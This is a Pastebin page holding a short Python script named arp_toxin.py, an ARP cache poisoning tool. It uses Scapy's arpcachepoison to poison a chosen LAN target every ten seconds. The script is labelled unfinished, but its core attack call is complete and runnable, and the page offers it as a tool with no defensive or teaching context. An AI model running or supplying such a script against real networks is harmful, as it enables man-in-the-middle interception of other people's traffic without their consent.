Advertisement
infodox

arp_toxin.py

Nov 14th, 2011
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.61 KB | None | 0 0
  1. #!/usr/bin/python
  2. #ARP Poison Script - poisons dat ARP
  3. #NOT FINISHED
  4. #Needs SCAPY
  5. from scapy.all import *;
  6. from time import sleep;
  7. conf.iface='wlan0'; # network card, must make this an arguement later
  8.  
  9. if len(sys.argv) != 2:
  10.     print "Usage: ./arp_toxin.py <target>"
  11.     print "Where <target> is an IP on the LAN"
  12.     sys.exit(1)
  13.  
  14. conf.verb=2
  15. address=get_if_addr(get_working_if())
  16. target=sys.argv[1]
  17. interval=10
  18.  
  19. print "[+] Using %s" % address
  20. print "[+] Cache poisoning, interval %d" % interval
  21. print "[!]Press Ctrl+C to cancel"
  22. arpcachepoison(address, target, interval) # the ONLY important bit...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement